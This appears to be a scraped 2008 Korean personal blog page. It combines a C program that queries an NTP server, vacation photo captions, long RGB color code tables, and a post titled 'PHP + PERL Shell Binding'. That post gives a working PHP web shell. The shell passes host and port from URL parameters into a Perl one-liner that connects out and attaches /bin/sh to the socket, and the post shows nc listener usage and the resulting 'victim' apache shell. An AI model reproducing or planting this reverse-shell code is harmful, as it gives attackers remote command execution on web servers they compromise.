typedef long int			int64_t;

/* from ntp-4.2.4p5/include/ntp_fp.h */
/*
 * NTP uses two fixed point formats.  The first (l_fp) is the "long"
 * format and is 64 bits long with the decimal between bits 31 and 32.
 * This is used for time stamps in the NTP packet header (in network
 * byte order) and for internal computations of offsets (in local host
 * byte order). We use the same structure for both signed and unsigned
 * values, which is a big hack but saves rewriting all the operators
 * twice. Just to confuse this, we also sometimes just carry the
 * fractional part in calculations, in both signed and unsigned forms.
 * Anyway, an l_fp looks like:
 *
 *    0           1           2           3
 *    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *   |                 Integral Part                 |
 *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *   |                 Fractional Part               |
 *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *
 */

typedef struct {
	union {
		uint32_t Xl_ui;
		int32_t Xl_i;
	} Ul_i;
	union {
		uint32_t Xl_uf;
		int32_t Xl_f;
	} Ul_f;
} l_fp;

#define l_ui    Ul_i.Xl_ui      /* unsigned integral part */
#define l_i Ul_i.Xl_i           /* signed integral part */
#define l_uf    Ul_f.Xl_uf      /* unsigned fractional part */
#define l_f Ul_f.Xl_f           /* signed fractional part */

#define NTP_TO_UNIX(n,u) do {  u = n - JAN_1970; } while (0)
#define NTOHL_FP(n, h)  do { (h)->l_ui = ntohl((n)->l_ui); (h)->l_uf = ntohl((n)->l_uf); } while (0)
#define HTONL_F(f, nts) do { (nts)->l_uf = htonl(f); \
	if ((f) & 0x80000000) \
	(nts)->l_i = -1; \
	else \
	(nts)->l_i = 0; \
} while (0)

/* from ntp-4.2.4p5/include/ntp.h */
#define NTP_VERSION ((uint8_t)4) /* current version number */

/*
 * Values for peer.leap, sys_leap
 */
#define LEAP_NOWARNING  0x0 /* normal, no leap second warning */
#define LEAP_ADDSECOND  0x1 /* last minute of day has 61 seconds */
#define LEAP_DELSECOND  0x2 /* last minute of day has 59 seconds */
#define LEAP_NOTINSYNC  0x3 /* overload, clock is free running */

/*
 * Values for peer mode and packet mode. Only the modes through
 * MODE_BROADCAST and MODE_BCLIENT appear in the transition
 * function. MODE_CONTROL and MODE_PRIVATE can appear in packets,
 * but those never survive to the transition function.
 * is a
 */
#define MODE_UNSPEC     0   /* unspecified (old version) */
#define MODE_ACTIVE     1   /* symmetric active mode */
#define MODE_PASSIVE    2   /* symmetric passive mode */
#define MODE_CLIENT     3   /* client mode */
#define MODE_SERVER     4   /* server mode */
#define MODE_BROADCAST  5   /* broadcast mode */

#define PKT_LI_VN_MODE(li, vn, md) ((uint8_t)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))

struct pkt {
  uint8_t   li_vn_mode;     /* leap indicator, version and mode */
  uint8_t   stratum;        /* peer stratum */
  uint8_t   ppoll;          /* peer poll interval */
  int8_t    precision;      /* peer clock precision */
  uint32_t  rootdelay;      /* distance to primary clock */
  uint32_t  rootdispersion; /* clock dispersion */
  uint32_t  refid;          /* reference clock ID */
  l_fp      reftime;        /* time peer clock was last updated */
  l_fp      org;            /* originate time stamp */
  l_fp      rec;            /* receive time stamp */
  l_fp      xmt;            /* transmit time stamp */

#define LEN_PKT_NOMAC   12 * sizeof(uint32_t) /* min header length */
#define LEN_PKT_MAC     LEN_PKT_NOMAC +  sizeof(uint32_t)
#define MIN_MAC_LEN     3 * sizeof(uint32_t)     /* DES */
#define MAX_MAC_LEN     5 * sizeof(uint32_t)     /* MD5 */

/*
 * The length of the packet less MAC must be a multiple of 64
 * with an RSA modulus and Diffie-Hellman prime of 64 octets
 * and maximum host name of 128 octets, the maximum autokey
 * command is 152 octets and maximum autokey response is 460
 * octets. A packet can contain no more than one command and one
 * response, so the maximum total extension field length is 672
 * octets. But, to handle humungus certificates, the bank must
 * be broke.
 */
#ifdef OPENSSL
  uint32_t exten[NTP_MAXEXTEN / 4]; /* max extension field */
#else /* OPENSSL */
  uint32_t exten[1];                /* misused */
#endif /* OPENSSL */
  uint8_t  mac[MAX_MAC_LEN];        /* mac */
};

#define PKT_SIZE 48
#define IS_SOCKET(sock) (sock > 0)
#define SUCCESS 0
#define FAILURE 1

int status = 0;

void make_request(struct pkt *sendpkt);
void print_packet(struct pkt *sendpkt);
int socket_set_option (int sock, int level, int optname, const void *optval);

int main(int argc, char **argv) {
	struct pkt sendpkt;
	struct pkt recvpkt;
	struct timeval timeval_v;
	struct sockaddr_in localAddr;
	struct sockaddr_in servAddr;
	char *host = (argv[1]) ? argv[1] : "localhost";
	int fromlen, len;
	struct hostent *h;
	int sock, port=123, n, i = 0, timeout = 2;
	char *sendbuf = (char *)&sendpkt;
	char *recvbuf = (char *)&recvpkt;

h = gethostbyname(host);
	if (h == NULL)
		return -1;

memset((char *)&servAddr, 0x0, sizeof(servAddr));
	servAddr.sin_family = h->h_addrtype;
	memcpy((char *)&servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
	servAddr.sin_port = htons(port);
	sock = socket(AF_INET, SOCK_DGRAM, 0);

if (sock < 0)
		return -1;

memset((char *)&localAddr, 0x0, sizeof(localAddr));
	localAddr.sin_family = AF_INET;
	localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
	localAddr.sin_port = htons(0);
	bzero((char *)&localAddr.sin_zero, 8);
	if (bind(sock, (struct sockaddr *)&localAddr, sizeof(localAddr)) < 0) {
		perror("ntp: bind");
		return -1;
	}

/* recvfrom 으로부터의 blocking 시간의 설정 */
	if (timeout > 0) {
		timeval_v.tv_sec = timeout;
		timeval_v.tv_usec = 0;
		socket_set_option(sock, SOL_SOCKET, SO_SNDTIMEO, &timeval_v);
		socket_set_option(sock, SOL_SOCKET, SO_RCVTIMEO, &timeval_v);
	}

/* getsockname() 함수를 이용하면 sin_port = 0 의 상황에서도
	 * kernel 에서 현재 나에게 자동으로 bind 된 포트를 확인 할수 있다.
	 */
	len = sizeof(localAddr);
	getsockname(sock, (struct sockaddr *)&localAddr, (socklen_t *)&len);
	printf("server               : %s\n", host);
	printf("server port          : %d\n", port);
	printf("my bind port         : %d\n\n", ntohs(localAddr.sin_port));

make_request(&sendpkt);

printf("send packet size     : %d\n", PKT_SIZE);
    printf("send packet          : ");

/* request packet 내용을 한자씩 읽어서 보여준다. */
    for(i=0;i < PKT_SIZE; i++) {
        printf("%02x ", (unsigned char)*(sendbuf+i));
    }
	printf("\n");
	print_packet(&sendpkt);
	printf("\n");

/* 첫번째 request packet 전송 */
	if (sendto(sock, sendbuf, PKT_SIZE, 0, (struct sockaddr *)&servAddr, sizeof(servAddr)) != PKT_SIZE) {
		perror("ntp: sendto");
		goto try_return;
	}
	n = recvfrom(sock, &recvpkt, PKT_SIZE, 0,
			(struct sockaddr *)&servAddr, (socklen_t *)&fromlen);

printf("recv packet size     : %d\n", n);
    printf("recv packet          : ");
	for(i=0;i < PKT_SIZE; i++) {
        printf("%02x ", (unsigned char)*(recvbuf+i));
    }
	printf("\n");
	print_packet(&recvpkt);
	printf("\n");
	/* 첫번째 request packet 전송 끝 */

/* 두번째 request packet 전송 시작 */
	recvpkt.li_vn_mode = PKT_LI_VN_MODE(LEAP_NOTINSYNC, NTP_VERSION, MODE_CLIENT);/* 3 4 3 == 227 */;
	recvpkt.stratum = 0;
	recvpkt.ppoll = 4;
	recvpkt.precision = -6;
	recvpkt.rootdelay = 256;
	recvpkt.rootdispersion = 256;

recvpkt.reftime.l_i = recvpkt.xmt.l_i;
	recvpkt.reftime.l_f = recvpkt.xmt.l_f;
	recvpkt.org.l_i = recvpkt.xmt.l_i;
	recvpkt.org.l_f = recvpkt.xmt.l_f;

printf("send packet size     : %d\n", PKT_SIZE);
    printf("send packet          : ");

/* request packet 내용을 한자씩 읽어서 보여준다. */
    for(i=0;i < PKT_SIZE; i++) {
        printf("%02x ", (unsigned char)*(recvbuf+i));
    }
	printf("\n");
	print_packet(&recvpkt);
	printf("\n");

if (sendto(sock, recvbuf, PKT_SIZE, 0, (struct sockaddr *)&servAddr, sizeof(servAddr)) != PKT_SIZE) {
		perror("ntp: sendto");
		goto try_return;
	}
	n = recvfrom(sock, &recvpkt, PKT_SIZE, 0,
			(struct sockaddr *)&servAddr, (socklen_t *)&fromlen);

if ((recvpkt.li_vn_mode & 0x7) == MODE_SERVER)
		status = 1;

try_return:
	if (status == 1)
		printf("\nNTPD SERVER STATUS  : OK\n");
	else
		printf("\nNTPDD SERVER STATUS : FAIL\n");

if (IS_SOCKET(sock)) close(sock);

return 0;
}

/*
 *************************************************
 *
 *       print_packet()
 *
 * 설명
 *       ntp 패킷 헤더를 보여준다.
 *
 * 인자
 *       1. ntp packet 구조체 포인터
 *
 * 반환값
 *       무
 *
 *************************************************
 */
void print_packet(struct pkt *npkt) {
	time_t seconds;
	struct pkt tpkt;
	char buf[128];
	uint64_t reftime, org, rec, xmt;

memcpy(&reftime, &npkt->reftime, sizeof(uint64_t));
	memcpy(&org, &npkt->org, sizeof(uint64_t));
	memcpy(&rec, &npkt->rec, sizeof(uint64_t));
	memcpy(&xmt, &npkt->xmt, sizeof(uint64_t));

printf("li_vn_mode           : %02d / LI: %d, VN: %d, MODE : %d\n", (uint8_t)npkt->li_vn_mode, npkt->li_vn_mode >> 6,
															((npkt->li_vn_mode >> 3) & 0x7), npkt->li_vn_mode & 0x7);
	printf("Stratum              : %02d\n", npkt->stratum);
	printf("Poll                 : %02d\n", npkt->ppoll);
	printf("Precision            : %02d\n", npkt->precision);
	printf("Root Delay           : %02x\n", npkt->rootdelay);
	printf("Root Dispersion      : %02x\n", npkt->rootdispersion);
	printf("Reference Identifier : %02x\n", npkt->refid);
	printf("Reference Timestamp  : %02lx\n", reftime);
	printf("Originate Timestamp  : %02lx\n", org);
	printf("Receive Timestamp    : %02lx\n", rec);
	printf("Transmit Timestamp   : %02lx\n", xmt);

NTOHL_FP(&npkt->reftime, &tpkt.reftime);
	NTOHL_FP(&npkt->org, &tpkt.org);
	NTOHL_FP(&npkt->rec, &tpkt.rec);
	NTOHL_FP(&npkt->xmt, &tpkt.xmt);

NTP_TO_UNIX(tpkt.reftime.l_ui, seconds);
	strftime(buf, sizeof(buf), "%Y/%m/%d %T",localtime(&seconds));
	printf("Reference Time       : %s\n", buf);

NTP_TO_UNIX(tpkt.org.l_ui, seconds);
	strftime(buf, sizeof(buf), "%Y/%m/%d %T",localtime(&seconds));
	printf("Originate Time       : %s\n", buf);

NTP_TO_UNIX(tpkt.rec.l_ui, seconds);
	strftime(buf, sizeof(buf), "%Y/%m/%d %T",localtime(&seconds));
	printf("Receive Time         : %s\n", buf);

NTP_TO_UNIX(tpkt.xmt.l_ui, seconds);
	strftime(buf, sizeof(buf), "%Y/%m/%d %T",localtime(&seconds));
	printf("Transmit Time        : %s\n", buf);
}

/*
 *************************************************
 *
 *       make_request()
 *
 * 설명
 *       ntp 패킷 헤더를 생성한다.
 *
 * 인자
 *       1. ntp packet 구조체 포인터
 *
 * 반환값
 *       무
 *
 *************************************************
 */
void make_request(struct pkt *sendpkt) {
	sendpkt->li_vn_mode = PKT_LI_VN_MODE(LEAP_NOTINSYNC, NTP_VERSION, MODE_CLIENT);/* 3 4 3 == 227 */;
	sendpkt->stratum = 0;
	sendpkt->ppoll = 4;
	sendpkt->precision = 0;
	sendpkt->rootdelay = 0;
	sendpkt->rootdispersion = 0;
	sendpkt->reftime.Ul_i.Xl_i = 0;
	sendpkt->reftime.Ul_f.Xl_f = 0;
	sendpkt->org.Ul_i.Xl_i = 0;
	sendpkt->org.Ul_f.Xl_f = 0;
	sendpkt->rec.Ul_i.Xl_i = 0;
	sendpkt->rec.Ul_f.Xl_f = 0;
	sendpkt->xmt.Ul_i.Xl_i = 0;
	sendpkt->xmt.Ul_f.Xl_f = 0;
}

/*
 *************************************************
 *
 *       socket_set_option()
 *
 * 설명
 *       socket option에 대한 현재 값을 설정 또는 변경한다.
 *
 * 인자
 *       1. socket descriptor
 *       2. SOL_SOCKET
 *          IPPROTO_IP
 *          IPPROTO_ICMPV6
 *          IPPROTO_IPV6
 *          IPPROTO_TCP
 *       3. 각 level 에 속한 optname
 *       4. 변경할 값을 저장한 변수
 *
 * 반환값
 *       성공 = SUCCESS 
 *       실패 = FAILURE
 *
 *************************************************
 */
int socket_set_option (int sock, int level, int optname, const void *optval)
{
	socklen_t optlen;

switch(optname) {
		case SO_LINGER:
			optlen = sizeof(struct linger);
			if (setsockopt(sock, level, optname, optval, optlen) != 0) {
				perror("unable to retrieve socket option");
				return FAILURE;
			}
			break;

case SO_RCVTIMEO:
		case SO_SNDTIMEO:
			optlen = sizeof(struct timeval);
			if (setsockopt(sock, level, optname, optval, optlen) != 0) {
				perror("unable to retrieve socket option");
				return FAILURE;
			}
			break;

default:
			optlen = sizeof(int);
			if (setsockopt(sock, level, optname, optval, optlen) != 0) {
				perror("unable to retrieve socket option");
				return FAILURE;;
			}
			break;
	}
	return SUCCESS;
}

누나 셋째 아들 - 심재연 백일

알라신께충성 — Sun, 31 Aug 2008 12:31:52 +0900

2008년 8월 6일 휴가

알라신께충성 — Sat, 09 Aug 2008 14:23:58 +0900

2008/08/06 ~ 2008/08/08 - 서울 -> 금산 -> 무주 구천동 -> 용담댐 -> 섬바위 -> 전주 -> 서울

용담댐 - 2008/08/07

섬바위 - 새 - 2008/08/07

섬바위 - 2008/08/08

섬바위 - 아버지 - 2008/08/08

섬바위 - 2008/08/08

섬바위 - 아버지 - 2008/08/08

섬바위 - 투망 던지는 나 - 2008/08/08

동사리(쭈구리) 잡힘 - 2008/08/08

섬바위 - 조개/새우/다슬기 - 2008/08/07

무주구천동 - 2008/08/06

PHP + PERL Shell Binding

알라신께충성 — Wed, 23 Jul 2008 23:42:59 +0900

<?php
/*

+-----------------------------------+ 
| PHP + PERL Shell Binding          | 
| By bando                          | 
+-----------------------------------+

1. reverse.php (host default : $_SERVER[REMOTE_ADDR])

>>> http://xxxxxx.com/reverse.php?port=5555
    >>> Connected >>> xxx.xxx.xxx.xxx:5555
    or
    >>> http://xxxxxx.com/reverse.php?host=xxx.xxx.xxx.xxx&port=5555
    >>> Connected >>> xxx.xxx.xxx.xxx:5555

2. local or remote system

[root@bando ~]$ nc -l -p 5555
    >>> victim : xxx.xxx.xxx.xxx
    id
    uid=48(apache) gid=48(apache) groups=48(apache)

$host = ($_GET[host]) ? $_GET[host] : $_SERVER[REMOTE_ADDR];
$port = ($_GET[port]) ? $_GET[port] : 31337;
$victim = $_SERVER[SERVER_ADDR];
$v0zlt = "perl -e 'use Socket;socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || exit 1;if (!connect(SOCK, pack \"SnA4x8\", 2, $port, inet_aton(\"$host\"))) {exit 1;}if ( !fork() ) {send(SOCK,\">>> victim : $victim\n\",0);open(STDIN,\">&SOCK\");open(STDOUT,\">&SOCK\");open(STDERR,\">&SOCK\");system(\"/bin/sh\");exit(0);}print \"Connected >>> $host:$port\n\"' ";
system($v0zlt);
?>

[RGB] RGB COLOR CODES

알라신께충성 — Sat, 21 Jun 2008 00:45:58 +0900

* RGB 색상표 1

[Flash] http://vozlt.tistory.com/attachment/jk4.swf

000000	000080	00008B	0000CD	0000EE	0000FF	006400	00688B
00868B	008B00	008B45	008B8B	009ACD	00B2EE	00BFFF	00C5CD
00CD00	00CD66	00CDCD	00CED1	00E5EE	00EE00	00EE76	00EEEE
00F5FF	00FA9A	00FF00	00FF7F	00FFFF	030303	050505	080808
0A0A0A	0D0D0D	0F0F0F	104E8B	121212	141414	171717	1874CD
191970	1A1A1A	1C1C1C	1C86EE	1E90FF	1F1F1F	20B2AA	212121
228B22	242424	262626	27408B	292929	2B2B2B	2E2E2E	2E8B57
2F4F4F	303030	32CD32	333333	363636	36648B	383838	3A5FCD
3B3B3B	3CB371	3D3D3D	404040	40E0D0	4169E1	424242	436EEE
43CD80	454545	458B00	458B74	4682B4	473C8B	474747	483D8B
4876FF	48D1CC	4A4A4A	4A708B	4D4D4D	4EEE94	4F4F4F	4F94CD
525252	528B8B	53868B	545454	548B54	54FF9F	551A8B	556B2F
575757	595959	5C5C5C	5CACEE	5D478B	5E5E5E	5F9EA0	607B8B
616161	636363	63B8FF	6495ED	666666	668B8B	66CD00	66CDAA
68228B	68838B	6959CD	696969	698B22	698B69	6A5ACD	6B6B6B
6B8E23	6C7B8B	6CA6CD	6E6E6E	6E7B8B	6E8B3D	707070	708090
737373	757575	76EE00	76EEC6	778899	787878	79CDCD	7A378B
7A67EE	7A7A7A	7A8B8B	7AC5CD	7B68EE	7CCD7C	7CFC00	7D26CD
7D7D7D	7EC0EE	7F7F7F	7FFF00	7FFFD4	828282	836FFF	838B83
838B8B	8470FF	858585	878787	87CEEB	87CEFA	87CEFF	8968CD
8A2BE2	8A8A8A	8B0000	8B008B	8B0A50	8B1A1A	8B1C62	8B2252
8B2323	8B2500	8B3626	8B3A3A	8B3A62	8B3E2F	8B4500	8B4513
8B4726	8B475D	8B4789	8B4C39	8B5742	8B5A00	8B5A2B	8B5F65
8B636C	8B6508	8B668B	8B6914	8B6969	8B7355	8B7500	8B7765
8B795E	8B7B8B	8B7D6B	8B7D7B	8B7E66	8B814C	8B8378	8B8386
8B864E	8B8682	8B8878	8B8970	8B8989	8B8B00	8B8B7A	8B8B83
8C8C8C	8DB6CD	8DEEEE	8EE5EE	8F8F8F	8FBC8F	90EE90	912CEE
919191	9370DB	9400D3	949494	969696	96CDCD	97FFFF	98F5FF
98FB98	9932CC	999999	9A32CD	9AC0CD	9ACD32	9AFF9A	9B30FF
9BCD9B	9C9C9C	9E9E9E	9F79EE	9FB6CD	A020F0	A0522D	A1A1A1
A2B5CD	A2CD5A	A3A3A3	A4D3EE	A52A2A	A6A6A6	A8A8A8	AB82FF
ABABAB	ADADAD	ADD8E6	ADFF2F	AEEEEE	AFEEEE	B03060	B0B0B0
B0C4DE	B0E0E6	B0E2FF	B22222	B23AEE	B2DFEE	B3B3B3	B3EE3A
B452CD	B4CDCD	B4EEB4	B5B5B5	B8860B	B8B8B8	B9D3EE	BA55D3
BABABA	BBFFFF	BC8F8F	BCD2EE	BCEE68	BDB76B	BDBDBD	BEBEBE
BF3EFF	BFBFBF	BFEFFF	C0FF3E	C1CDC1	C1CDCD	C1FFC1	C2C2C2
C4C4C4	C6E2FF	C71585	C7C7C7	C9C9C9	CAE1FF	CAFF70	CCCCCC
CD0000	CD00CD	CD1076	CD2626	CD2990	CD3278	CD3333	CD3700
CD4F39	CD5555	CD5B45	CD5C5C	CD6090	CD6600	CD661D	CD6839
CD6889	CD69C9	CD7054	CD8162	CD8500	CD853F	CD8C95	CD919E
CD950C	CD96CD	CD9B1D	CD9B9B	CDAA7D	CDAD00	CDAF95	CDB38B
CDB5CD	CDB79E	CDB7B5	CDBA96	CDBE70	CDC0B0	CDC1C5	CDC5BF
CDC673	CDC8B1	CDC9A5	CDC9C9	CDCD00	CDCDB4	CDCDC1	CFCFCF
D02090	D15FEE	D1D1D1	D1EEEE	D2691E	D2B48C	D3D3D3	D4D4D4
D6D6D6	D8BFD8	D9D9D9	DA70D6	DAA520	DB7093	DBDBDB	DCDCDC
DDA0DD	DEB887	DEDEDE	E066FF	E0E0E0	E0EEE0	E0EEEE	E0FFFF
E3E3E3	E5E5E5	E6E6FA	E8E8E8	E9967A	EBEBEB	EDEDED	EE0000
EE00EE	EE1289	EE2C2C	EE30A7	EE3A8C	EE3B3B	EE4000	EE5C42
EE6363	EE6A50	EE6AA7	EE7600	EE7621	EE7942	EE799F	EE7AE9
EE8262	EE82EE	EE9572	EE9A00	EE9A49	EEA2AD	EEA9B8	EEAD0E
EEAEEE	EEB422	EEB4B4	EEC591	EEC900	EECBAD	EECFA1	EED2EE
EED5B7	EED5D2	EED8AE	EEDC82	EEDD82	EEDFCC	EEE0E5	EEE5DE
EEE685	EEE8AA	EEE8CD	EEE9BF	EEE9E9	EEEE00	EEEED1	EEEEE0
F08080	F0E68C	F0F0F0	F0F8FF	F0FFF0	F0FFFF	F2F2F2	F4A460
F5DEB3	F5F5DC	F5F5F5	F5FFFA	F7F7F7	F8F8FF	FA8072	FAEBD7
FAF0E6	FAFAD2	FAFAFA	FCFCFC	FDF5E6	FF0000	FF00FF	FF1493
FF3030	FF34B3	FF3E96	FF4040	FF4500	FF6347	FF69B4	FF6A6A
FF6EB4	FF7256	FF7F00	FF7F24	FF7F50	FF8247	FF82AB	FF83FA
FF8C00	FF8C69	FFA07A	FFA500	FFA54F	FFAEB9	FFB5C5	FFB6C1
FFB90F	FFBBFF	FFC0CB	FFC125	FFC1C1	FFD39B	FFD700	FFDAB9
FFDEAD	FFE1FF	FFE4B5	FFE4C4	FFE4E1	FFE7BA	FFEBCD	FFEC8B
FFEFD5	FFEFDB	FFF0F5	FFF5EE	FFF68F	FFF8DC	FFFACD	FFFAF0
FFFAFA	FFFF00	FFFFE0	FFFFF0	FFFFFF

* RGB 색상표 2

FAF8FE	FAF9FD	FAFAFC	FBFAFC
F3EDFC	F3EFFA	F4F2F6	F4F2F6
EBE2FA	ECE5F7	ECE8F4	EDEBF1
E1D4F7	E2D8F2	E3DDEE	E4E1EA
D4C2F3	D6C8ED	D7CEE6	D8D4E0
C3ABEE	C5B3E5	C8BCDD	CAC4D5
AF8FE8	B29ADD	B5A5D1	B8B0C6
9970E1	9D7ED3	A08CC4	A49AB6
804CD9	845DC7	896FB5	8E81A4
6526D1	6A3BBB	7051A6	766691
4B00C9	5119B0	573296	5E4B7D
3E00A7	431592	492A7D	4E3E68
300081	341071	382060	3C3050
23005D	250B51	281745	2C233A
190041	1B0839	1C1030	1E1828
10002A	110524	120A1F	14101A
FFF5FA	FDF6F9	FCF7F9	FBF9FA
FFE8F5	FCEBF5	F9EEF4	F6F0F3
FFD6ED	FADBEC	F4E0EB	EFE5EB
FFBEE2	F7C6E1	EECEE0	E6D6DF
FFA2D6	F3ADD4	E7B9D3	DCC5D2
FF82C8	EF91C6	DFA1C4	D0B1C2
FF59B6	EA6EB3	D582B0	C097AE
FF2DA4	E447A0	CA619C	B07C99
FF0090	DF208B	BF4087	9F5F83
E60081	C91D7D	AC3979	8F5676
C4006D	AB186A	933167	7A4964
A1005A	8D1458	782855	643C52
7C0046	6C0F43	5D1F42	4D2E3F
590033	4E0B31	42162F	37212E
3A0021	32071F	2B0E1E	24161E
220013	1D0412	190811	150D11
FFF6FE	FEF7FD	FCF8FC	FBF9FB
FFEEFE	FDF0FC	FAF2F9	F8F4F8
FFE2FE	FBE5FA	F7E9F6	F4EDF4
FFD1FD	F9D7F7	F3DCF2	EDE2EC
FFB9FC	F6C2F4	EDCAEB	E4D3E3
FF99FA	F2A6EE	E5B2E2	D8BFD7
FF71F8	ED83E7	DB94D7	C9A6C7
FF3FF7	E757E0	CF6FCA	B787B5
FF00F6	DF20D8	BF40BA	9F5F9C
E600DD	C91DC2	AC39A7	8F568D
BD00B6	A5179F	8D2F89	764774
9C0095	881383	752771	613A5F
7A0073	6A0F64	5B1E57	4C2E4A
590054	4E0B4A	42163F	372136
3E003B	360834	2E0F2C	261725
270025	220520	1D0A1C	180E17
FAF8FC	F9F8FB	FAF9FB	F9F9FA
F6F2F9	F6F3F8	F6F4F7	F5F4F6
F0E9F5	EFEAF3	EFECF2	EFEDF0
E7DCEF	E6DEEC	E6E1EA	E6E3E8
DACAE6	D9CDE2	D9D1DF	D8D4DB
CAB2DB	C9B7D6	C8BCD0	C7C1CB
B594CD	B49BC6	B2A2BE	B1A9B7
9D71BD	9B7AB3	9A84AA	988DA0
834CAC	8158A0	7F6494	7E7088
68269A	65348B	64437D	61516E
4D0088	4A1177	4A1177	463355
420074	3F0E65	3E1D57	3B2B48
35005D	330B51	311745	30233A
260043	24083A	241132	23192A
19002D	180527	170B21	17111C
0E0019	0E0316	0D0612	0C090F
F8F8FD	F8F8FC	F9F9FB	FAFAFB
F3F3FB	F4F4FA	F5F5F9	F6F6F8
EBEBF9	EDEDF7	EEEEF5	F0F0F3
E1E1F6	E3E3F3	E6E6F0	E9E9EE
D3D3F2	D7D7EE	DBDBEA	DEDEE6
C1C1ED	C6C6E7	CCCCE2	D1D1DC
ABABE7	B2B2DF	BABAD8	C1C1D0
8F8FDF	9999D5	A3A3CB	ADADC1
6F6FD6	7C7CC9	8989BC	9595AF
4B4BCC	5B5BBC	6B6BAB	7B7B9B
2626C2	3939AE	4D4D9B	606087
2222AF	33339D	45458B	57577A
1C1C90	2A2A81	393973	474764
16166F	212164	2C2C58	37374D
101050	181848	202040	282838
0A0A34	0F0F2E	141429	1A1A24
F7FAFF	F8FAFE	F9FAFD	FAFBFC
F1F6FF	F3F7FD	F4F6FB	F6F7F9
E7F0FF	EAF1FC	EDF1F9	F0F2F6
D9E7FF	DEE8FA	E2E9F5	E7EAF0
C4DAFF	CBDBF7	D3DEF0	DAE0E9
A8C9FF	B3CCF4	BECEE9	C8D0DE
85B3FF	94B6EF	A3BAE0	B3BED1
5B98FF	6F9DEA	84A2D6	98A7C1
2D7CFF	4782E4	6188CA	7C8FB0
0060FF	2068DF	4070BF	5F779F
0056E6	1D5DC9	3964AC	566B8F
0049C4	184FAB	315593	495B7A
003A9D	133E89	274475	3B4962
002C76	0F3067	1D3358	2C3749
001F53	0A2148	15243E	1F2734
001436	07162F	0D1D28	141921
F6FCFF	F7FCFE	F8FBFC	F9FAFB
EDF9FF	EFF8FC	F1F7FA	F4F7F8
E0F4FF	E4F3FB	E8F2F7	EBF0F3
CEEEFF	D4ECF9	DAEAF2	E0E8EC
B3E5FF	BCE1F5	C6DFEC	CFDBE2
90D9FF	9ED4F1	ACD0E3	B9CBD5
65CBFF	78C4EB	8BBED8	9FB8C5
33BAFF	4CB1E5	66A9CC	7FA1B2
00A0F3	1E95D4	3D8CB6	5B8398
0092E0	1C89C4	3881A8	54788C
0080C6	1978AD	317194	4A6A7B
006CA7	156692	2A5F7D	3E5968
00588A	115378	224E67	344A56
00456C	0D415E	1B3D51	283943
00324E	0A2F44	132C3A	1D2930
002235	06202E	0D1E27	141C21
F0F5F5	F0F4F4	F1F3F3	F2F3F3
E6EFEF	E7EEEE	E8ECEC	E9EBEB
D8E6E7	DAE4E5	DCE3E3	DDE1E1
C6DBDC	C9D8D9	CBD5D6	CED3D3
AFCCCE	B3C8CA	B7C5C6	BAC1C2
93BABD	98B5B7	9DB0B2	A3ACAD
74A6AB	7BA0A4	829A9D	889596
549198	5C8A8F	658387	6D7C7E
347C85	3E747B	486B70	526466
196B75	246169	30595E	3B4F52
005B66	0D5159	19464C	263C3F
00525C	0B4850	174045	223639
00464E	0A3E44	13363A	1D2E30
00383E	083136	0F2B2E	172426
002A2F	062529	0C2023	111C1D
001D21	041A1D	081618	0C1314
FFF7F7	FEF8F8	FDF9F9	FCF9F9
FFECEC	FCEEEE	FAF1F1	F9F2F2
FFCCCC	F8D2D2	F2D9D9	EFDCDC
FF9999	F2A6A6	E5B2B2	DEB8B8
FF6666	EC7979	D88C8C	CE9595
FF3333	E54C4C	CC6666	BF7373
FF0000	DF2020	BF4040	AF5050
E60000	C91D1D	AC3939	9D4747
dd0000	Bf1A1A	9f3636	954545
CC0000	B21919	993333	8C4040
B30000	9C1616	862D2D	7B3838
990000	861313	722626	682F2F
660000	590D0D	4C1919	451F1F
4D0000	430909	391313	341818
340000	2D0606	270D0D	231010
270000	220505	1D0A0A	1A0C0C
FFFCFB	FEFCFB	FEFCFC	FDFCFC
FFF8F6	FDF9F7	FCF9F8	FBF9F9
FFEDE9	FCEFEC	F9F0EE	F6F2F1
FFDCD4	F8DED9	F4E3DF	EFE6E4
FFC4B7	F5C9C0	EDCFC9	E4D5D2
FFAB98	F0B3A5	E5BBB2	D8C3BE
FF967E	EDA08F	DEAA9E	CEB4AE
FF6947	E5785F	D18675	BA948C
FF4419	DF5738	C56852	A87A6F
FF3000	DC4522	BF5840	9F6B5F
E62B00	C63E1F	AC4F39	8F6156
B82200	9E3118	8A3F2E	734D45
931B00	7E2713	6E3225	5C3E37
671300	581B0D	4D231A	402B26
581000	4C180C	421E16	372521
3E0B00	361008	2E140F	261A17
FFFDFA	FEFCFA	FDFCFB	FDFDFC
FFF7EF	FDF7F1	FBF7F3	F9F7F5
FFEBD8	FAEBDD	F5EBE2	F0EBE6
FFD7B2	F5D7BB	EBD7C5	E2D8CF
FFCE9F	F3CEAB	E7CEB7	DBCFC3
FFBD7E	EFBD8E	DEBD9E	CEBEAE
FFA147	E8A15E	D1A275	BAA28C
FF8A19	E28A36	C58A52	A88B6F
FF7E00	DF7E20	BF7F40	9F7E5F
E87100	CA711D	AD733A	917357
CC6400	B2641A	986433	7F654C
AB5300	955315	80542B	6B5540
813E00	713F10	603F20	503F30
5B2C00	4F2C0B	442D17	392D22
3B1D00	331C07	2C1D0F	251D16
231100	1E1104	1A1109	16110D
FFFCF2	FBFAF5	FBFAF5	FAF9F7
FFF9E7	F9F6ED	F9F6ED	F6F4F0
FFF5D9	FAF3DE	F5F0E2	F0EEE7
FFEFBF	F7EBC7	EFE7CF	E7E3D7
FFE69D	F2DFA9	E6D9B5	DAD4C2
FFDC74	EDD385	DCCA97	CBC2A8
FFD047	E8C45E	D1B975	BAAE8C
FFC519	E2B636	C5A852	A89A6F
FFC000	DFAF20	BF9F40	9F8F5F
F3B600	D4A61E	B6973D	98895B
DBA300	BF951B	A48837	897B52
BA8B00	A27F17	8B732E	746846
956F00	826512	6F5C25	5D5338
705400	624D0E	54461C	463F2A
